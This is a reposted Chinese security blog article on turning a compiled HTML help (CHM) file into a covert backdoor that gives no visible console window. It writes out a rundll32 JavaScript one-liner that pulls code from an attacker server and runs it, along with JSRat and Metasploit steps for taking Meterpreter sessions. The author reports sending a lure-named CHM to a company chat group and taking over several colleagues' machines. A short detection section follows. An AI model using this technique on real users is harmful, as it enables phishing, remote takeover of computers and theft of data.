高级组合技打造“完美” 捆绑后门

2018 年 6 月 25 日 黑白之道


0x00 简介


之前写过一篇关于客户端钓鱼的文章:《使用powershell Client进行有效钓鱼》中,在使用各个Client进行测试的过程中,个人发现CHM文件是最好用的一个,但是其缺点就是会弹黑框,这样就会让被攻击者察觉。那么怎么让他不弹黑框呢?那就是本文要介绍的内容啦~


0x01 CHM 简介


在介绍怎么使用CHM来作为后门之前,首先要知道CMH是什么东西。
CHM(Compiled Help Manual)即“已编译的帮助文件”。它是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。CHM支持Javas cript、VBs cript、ActiveX、Java Applet、Flash、常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,并可以通过URL与Internet联系在一起。因为使用方便,形式多样也被采用作为电子书的格式。


0x02 CHM 制作


CHM的制作方法很多。有多款工具可以使用,这里就不在做详细的介绍了。本次测试使用了EasyCHM来制作CHM文件,使用起来非常简单。
新建如下目录,文件内容随意:

打开EasyCHM,新建->浏览。选择该目录。默认文件类型:

点击确认,即可看到预览的CHM文件:

选择编译,即可编译成CHM文件。


0x03 CHM Execute Command


14年的时候@ithurricanept 在twitter上发了一个demo,通过CHM运行计算器:



利用代码如下:



将以上代码写入html,置于工程目录进行编译,生成CHM文件,运行此文件,弹出计算器:


0x04 去除弹框


有测试过nishang Out-CHM 的同学会发现,运行生成的CHM文件的时候会看到明显的弹框。就像这样:

某个晚上突然脑洞了一下,想到了一个好的方式来让他不显示弹框,即结合使用JavaScript Backdoor。经过测试,成功实现在不弹框的情况下获取meterpreter会话,此次测试使用一个我修改过的python版 JSRat.ps1 ,地址为:https://github.com/Ridter/MyJSRat。使用方式详见 readme。


以下为完整的测试过程:


1、结合CHM + JSBackdoor


使用交互模式的JSRat server:


python MyJSRat.py -i 192.168.1.101 -p 8080



访问 http://192.168.1.101:8080/wtf 获取攻击代码如下:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();

h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","

http://192.168.1.101:8080/connect",false);try{h.Send();

b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").

Run("cmd /c taskkill /f /im rundll32.exe",0,true);}


经过多次测试,成功将以上命令写入chm,其Html代码为:



编译以后运行,可以成功获取JS交互shell:

直接执行cmd /c command 是会有黑框的,可以使用run来避免显示黑框。执行run以后,输入 whoami > e:\1.txt 之后通过read 来获取回显。


2、获取meterpreter会话


此次测试获取meterpreter会话的方式是通过执行powershell命令,直接获取,当获取客户端JS 交互shell之后自动执行powershell命令,获取meterpreter会话。具体操作如下:


开启MSF web_delivery:



装有powershell的客户端执行以下命令则可获取meterpreter会话:


由于存在特殊字符,我们可以把以上代码编码为base64格式,将以下代码存入power.txt



执行以下命令:

cat power.txt | iconv --to-code UTF-16LE |base64

最终要执行的powershell命令为:



使用执行命令模式直接获取meterpreter会话:



测试过程中,从运行CHM到获取meterpreter,客户端无明显异常,全程无黑框弹出,获取到meterpreter会话如下图:



3、是否被杀?


可能很多人会问,会不会被杀,下面是virscan的查杀结果:
http://r.virscan.org/report/6173ee9c62d29806bb84035a8f1738ba


0x05 利用场景


一张图说明(让我猜猜你会不会点):


注: 随便找了几个漏洞利用工具修改了文件名,并不代表原作者分享的工具有问题。



0x06 实际测试


是用上述方式制作chm文件,命名为一个比较有吸引力的名字,比如在公司技术群发了一个名字为"制作免杀后门.chm"的文件,实际测试结果如下图:



成功获取多个人的meterpreter会话。



0x07 防御


目前我还没查到什么防御的姿势,知道的小伙伴可以分享一下。最好就是提高个人安全意识,对于这类文件,多注意一下,尽量别乱点,如果非要点,可以放到虚拟机里面。使用procexp.exe可以看到存在后门的chm文件会开启新的进程:



对于碰到这种后门,怎么溯源呢,其实也很简单,chm是可以反编译为html的。


使用windows自带的hh.exe 则可进行反编译。命令如下:


C:\Users\evi1cg\Desktop>hh -decompile test poc.chm #test 为当前目录的test文件夹


执行结果如下:



这样就可以看到其源代码并可以找到攻击者的监听服务器了。



0x08 小结


此次测试就是对一些已知的攻击手法进行结合,结果是让此捆绑后门更加隐蔽,近乎“完美”,美中不足的是在文件开启的时候会出现短暂的卡顿。有时候小漏洞结合起来能造成大危害,小手法结合起来也能成大杀器。本着分享的精神将此姿势介绍,希望小伙伴们能免受其害。



0x09 参考


1.https://twitter.com/ithurricanept/status/534993743196090368

2.https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1

3.http://drops.wooyun.org/tips/11764


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/chm_backdoor.html


你可能喜欢

记一次破解shift后门

手把手打造404页面隐藏后门

APT攻防之关于后门那些事

登录查看更多
0

相关内容

CHM(Compiled Help Manual)即“已编译的帮助文件”。CHM是微软新一代的帮助文件格式,利用HTML作源文,把帮助内容以类似数据库的形式编译储存。
【ACL2020】多模态信息抽取,365页ppt
专知会员服务
140+阅读 · 2020年7月6日
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
190+阅读 · 2020年6月29日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
斯坦福2020硬课《分布式算法与优化》
专知会员服务
117+阅读 · 2020年5月6日
【实用书】流数据处理,Streaming Data,219页pdf
专知会员服务
76+阅读 · 2020年4月24日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
68+阅读 · 2020年1月17日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
7 款实用到哭的App,只说一遍
高效率工具搜罗
84+阅读 · 2019年4月30日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
2018年7月份GitHub开源项目排行榜
算法与数据结构
15+阅读 · 2018年8月3日
Deflecting Adversarial Attacks
Arxiv
8+阅读 · 2020年2月18日
Arxiv
19+阅读 · 2019年11月23日
Arxiv
9+阅读 · 2019年11月6日
Geometric Graph Convolutional Neural Networks
Arxiv
10+阅读 · 2019年9月11日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
A Comprehensive Survey on Graph Neural Networks
Arxiv
13+阅读 · 2019年3月10日
Arxiv
23+阅读 · 2018年10月24日
VIP会员
相关VIP内容
【ACL2020】多模态信息抽取,365页ppt
专知会员服务
140+阅读 · 2020年7月6日
【实用书】学习用Python编写代码进行数据分析,103页pdf
专知会员服务
190+阅读 · 2020年6月29日
【实用书】Python爬虫Web抓取数据,第二版,306页pdf
专知会员服务
115+阅读 · 2020年5月10日
斯坦福2020硬课《分布式算法与优化》
专知会员服务
117+阅读 · 2020年5月6日
【实用书】流数据处理,Streaming Data,219页pdf
专知会员服务
76+阅读 · 2020年4月24日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
68+阅读 · 2020年1月17日
【电子书】C++ Primer Plus 第6版,附PDF
专知会员服务
83+阅读 · 2019年11月25日
相关资讯
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
渗透某德棋牌游戏
黑白之道
12+阅读 · 2019年5月17日
ISeeYou一款强大的社工工具
黑白之道
29+阅读 · 2019年5月17日
7 款实用到哭的App,只说一遍
高效率工具搜罗
84+阅读 · 2019年4月30日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
34个最优秀好用的Python开源框架
专知
9+阅读 · 2019年3月1日
百度开源项目OpenRASP快速上手指南
黑客技术与网络安全
5+阅读 · 2019年2月12日
如何编写完美的 Python 命令行程序?
CSDN
5+阅读 · 2019年1月19日
2018年7月份GitHub开源项目排行榜
算法与数据结构
15+阅读 · 2018年8月3日
相关论文
Deflecting Adversarial Attacks
Arxiv
8+阅读 · 2020年2月18日
Arxiv
19+阅读 · 2019年11月23日
Arxiv
9+阅读 · 2019年11月6日
Geometric Graph Convolutional Neural Networks
Arxiv
10+阅读 · 2019年9月11日
Mesh R-CNN
Arxiv
4+阅读 · 2019年6月6日
A Comprehensive Survey on Graph Neural Networks
Arxiv
13+阅读 · 2019年3月10日
Arxiv
23+阅读 · 2018年10月24日
Top
微信扫码咨询专知VIP会员